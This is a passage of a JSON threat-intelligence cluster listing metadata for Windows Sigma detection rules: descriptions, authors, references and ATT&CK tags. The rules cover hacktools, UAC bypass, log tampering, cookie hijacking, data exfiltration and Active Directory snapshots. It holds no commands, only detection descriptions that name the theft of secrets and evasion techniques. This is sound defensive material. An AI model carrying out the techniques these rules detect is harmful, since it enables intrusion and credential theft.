        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_krbrelayup.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Dec0ne/KrbRelayUp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelayup.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003",
          "attack.lateral_movement",
          "attack.t1550.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        },
        {
          "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "12827a56-61a4-476a-a9cb-f3068f191073",
      "value": "HackTool - KrbRelayUp Execution"
    },
    {
      "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/05/27",
        "falsepositive": [
          "Possible but rare"
        ],
        "filename": "proc_creation_win_rundll32_no_params.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/ber_m1ng/status/1397948048135778309",
          "https://www.cobaltstrike.com/help-opsec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_no_params.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a",
      "value": "Rundll32 Execution Without CommandLine Parameters"
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      "description": "Detects binaries that use the same name as legitimate sysinternals tools to evade detection",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_tools_masquerading.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_tools_masquerading.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9",
      "value": "Potential Binary Impersonating Sysinternals Tools"
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    {
      "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe",
      "meta": {
        "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger",
        "creation_date": "2021/09/30",
        "falsepositive": [
          "DataSvcUtil.exe being used may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6",
          "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/",
          "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services",
          "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services",
          "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567"
        ]
      },
      "related": [
        {
          "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a",
      "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe"
    },
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      "description": "Detects the execution of \"reg.exe\" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' values",
      "meta": {
        "author": "pH-T (Nextron Systems), @Kostastsale, @TheDFIRReport",
        "creation_date": "2022/02/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_rdp_keys_tamper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_rdp_keys_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.lateral_movement",
          "attack.t1021.001",
          "attack.t1112"
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      },
      "related": [
        {
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        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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      ],
      "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536",
      "value": "Potential Tampering With RDP Related Registry Keys Via Reg.EXE"
    },
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      "description": "Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Administrators or tools shutting down the services due to upgrade or removal purposes. If you experience some false positive, please consider adding filters to the parent process launching this command and not removing the entry"
        ],
        "filename": "proc_creation_win_susp_service_tamper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955",
          "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg",
          "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330",
      "value": "Suspicious Windows Service Tampering"
    },
    {
      "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.",
      "meta": {
        "author": "@neu5ron, Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2019/03/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_etw_trace_evasion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://abuse.io/lockergoga.txt",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil",
          "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070",
          "attack.t1562.006",
          "car.2016-04-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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        {
          "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
          "tags": [
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          "type": "related-to"
        }
      ],
      "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6",
      "value": "Disable of ETW Trace"
    },
    {
      "description": "Detects command line parameters or strings often used by crypto miners",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/10/26",
        "falsepositive": [
          "Legitimate use of crypto miners",
          "Some build frameworks"
        ],
        "filename": "proc_creation_win_susp_crypto_mining_monero.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.poolwatch.io/coin/monero",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crypto_mining_monero.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1496"
        ]
      },
      "related": [
        {
          "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55",
      "value": "Potential Crypto Mining Activity"
    },
    {
      "description": "Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall",
      "meta": {
        "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2020/05/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_netsh_fw_allow_program_in_susp_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100",
          "https://www.virusradar.com/en/Win32_Kasidet.AD/description",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_program_in_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d",
      "value": "Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE"
    },
    {
      "description": "Detects the execution of the PurpleSharp adversary simulation tool",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/06/18",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_purplesharp_indicators.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/mvelazc0/PurpleSharp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_purplesharp_indicators.yml"
        ],
        "tags": [
          "attack.t1587",
          "attack.resource_development"
        ]
      },
      "related": [
        {
          "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4",
      "value": "HackTool - PurpleSharp Execution"
    },
    {
      "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_susp_shellexec_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/",
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://redcanary.com/blog/raspberry-robin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shellexec_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d",
      "value": "Suspicious Usage Of ShellExec_RunDLL"
    },
    {
      "description": "Detects a suspicious process spawning from an \"mshta.exe\" process, which could be indicative of a malicious HTA script execution",
      "meta": {
        "author": "Michael Haag",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Printer software / driver installations",
          "HP software"
        ],
        "filename": "proc_creation_win_mshta_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trustedsec.com/july-2015/malicious-htas/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_child_processes.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.005",
          "car.2013-02-003",
          "car.2013-03-001",
          "car.2014-04-003"
        ]
      },
      "related": [
        {
          "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca",
      "value": "Suspicious MSHTA Child Process"
    },
    {
      "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/18",
        "falsepositive": [
          "Legitimate administrative use (Should be investigated either way)"
        ],
        "filename": "proc_creation_win_pua_cleanwipe.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_cleanwipe.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100",
      "value": "PUA - CleanWipe Execution"
    },
    {
      "description": "Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/04",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_mssql_veaam_susp_child_processes.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "d55b793d-f847-4eea-b59a-5ab09908ac90",
      "value": "Suspicious Child Process Of Veeam Dabatase"
    },
    {
      "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_adexplorer_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_execution.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9212f354-7775-4e28-9c9f-8f0a4544e664",
      "value": "Active Directory Database Snapshot Via ADExplorer"
    },
    {
      "description": "Detects the execution of Rundll32.exe with DLL files masquerading as image files",
      "meta": {
        "author": "Hieu Tran",
        "creation_date": "2023/03/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_susp_execution_with_image_extension.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_execution_with_image_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4aa6040b-3f28-44e3-a769-9208e5feb5ec",
      "value": "Suspicious Rundll32 Execution With Image Extension"
    },
    {
      "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_sdclt.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/6",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_sdclt.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "40f9af16-589d-4984-b78d-8c2aec023197",
      "value": "Potential UAC Bypass Via Sdclt.EXE"
    },
    {
      "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/27",
        "falsepositive": [
          "Legitimate activity is expected since compressing files with a password is common."
        ],
        "filename": "proc_creation_win_7zip_password_compression.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_compression.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9fbf5927-5261-4284-a71d-f681029ea574",
      "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP"
    },
    {
      "description": "Detects the execution of netsh with the \"trace\" flag in order to start a network capture",
      "meta": {
        "author": "Kutepov Anton, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_netsh_packet_capture.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://klausjochem.me/2016/02/03/netsh-the-cyber-attackers-tool-of-choice/",
          "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118",
      "value": "New Network Trace Capture Started Via Netsh.EXE"
    },
    {
      "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tigzy",
        "creation_date": "2021/11/17",
        "falsepositive": [
          "Legitimate use of WinRAR in a folder of a software that bundles WinRAR"
        ],
        "filename": "proc_creation_win_winrar_uncommon_folder_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/cyb3rops/status/1460978167628406785",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_uncommon_folder_execution.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f",
      "value": "Winrar Execution in Non-Standard Folder"
    },
    {
      "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) child process",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wermgr_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/binderlabs/DirCreate2System",
          "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html",
          "https://www.echotrail.io/insights/search/wermgr.exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "396f6630-f3ac-44e3-bfc8-1b161bc00c4e",
      "value": "Suspicious Child Process Of Wermgr.EXE"
    },
    {
      "description": "Detects suspicious PowerShell invocation command parameters",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_invocation_specific.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invocation_specific.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "536e2947-3729-478c-9903-745aaffe60d2",
      "value": "Suspicious PowerShell Invocations - Specific - ProcessCreation"
    },
    {
      "description": "Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/08/02",
        "falsepositive": [
          "Legitimate activity of system administrators"
        ],
        "filename": "proc_creation_win_ssm_agent_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan",
          "https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/",
          "https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssm_agent_abuse.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.persistence",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d20ee2f4-822c-4827-9e15-41500b1fff10",
      "value": "Potential Amazon SSM Agent Hijacking"
    },
    {
      "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/29",
        "falsepositive": [
          "Legitimate usage of the features listed in the rule."
        ],
        "filename": "proc_creation_win_powershell_enable_susp_windows_optional_feature.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps",
          "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system",
          "https://learn.microsoft.com/en-us/windows/wsl/install-on-server",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "c740d4cf-a1e9-41de-bb16-8a46a4f57918",
      "value": "Potential Suspicious Windows Feature Enabled - ProcCreation"
    },
    {
      "description": "Detects execution of \"curl.exe\" with the \"-c\" flag in order to save cookie data.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_cookie_hijacking.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "5a6e1e16-07de-48d8-8aae-faa766c05e88",
      "value": "Potential Cookies Session Hijacking"
    },
    {
      "description": "Detects execution of \"odbcconf\" with the \"INSTALLDRIVER\" action where the driver doesn't contain a \".dll\" extension. This is often used as a defense evasion method.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_odbcconf_driver_install_susp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install_susp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cb0fe7c5-f3a3-484d-aa25-d350a7912729",
      "value": "Suspicious Driver/DLL Installation Via Odbcconf.EXE"
    },
    {
      "description": "Detects usage of the WMI class \"Win32_NTEventlogFile\" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_nteventlogfile_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nteventlogfile_usage.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "caf201a9-c2ce-4a26-9c3a-2b9525413711",
      "value": "Potentially Suspicious Call To Win32_NTEventlogFile Class"
    },
    {
      "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
